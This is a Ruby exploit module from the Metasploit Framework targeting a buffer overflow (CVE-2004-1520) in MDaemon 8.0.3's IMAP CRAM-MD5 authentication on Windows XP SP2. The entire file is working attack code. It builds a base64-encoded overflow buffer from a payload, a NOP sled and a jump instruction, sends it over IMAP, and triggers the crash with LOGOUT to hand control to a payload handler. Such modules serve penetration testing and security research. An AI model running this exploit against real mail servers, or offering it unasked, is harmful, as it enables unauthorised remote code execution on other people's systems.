89 lines
2.0 KiB
Ruby
89 lines
2.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Imap
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the CRAM-MD5
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authentication of the MDaemon IMAP service. This
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vulnerability was discovered by Muts.
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},
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'Author' => [ 'anonymous' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-1520'],
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[ 'OSVDB', '11838'],
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[ 'BID', '11675'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
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],
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'DisclosureDate' => 'Nov 12 2004',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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print_status("Asking for CRAM-MD5 authentication...")
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sock.put("a001 authenticate cram-md5\r\n")
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res = sock.get_once
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print_status("Received CRAM-MD5 answer: #{res.chomp}")
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# Magic no return-address exploitation ninjaness!
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buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
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req = Rex::Text.encode_base64(buf) + "\r\n"
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sock.put(req)
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res = sock.get_once
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print_status("Received authentication reply: #{res.chomp}")
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print_status("Sending LOGOUT to close the thread and trigger an exception")
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sock.put("a002 LOGOUT\r\n")
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res = sock.get_once
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print_status("Received LOGOUT reply: #{res.chomp}")
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sleep(1)
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handler
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disconnect
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end
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end
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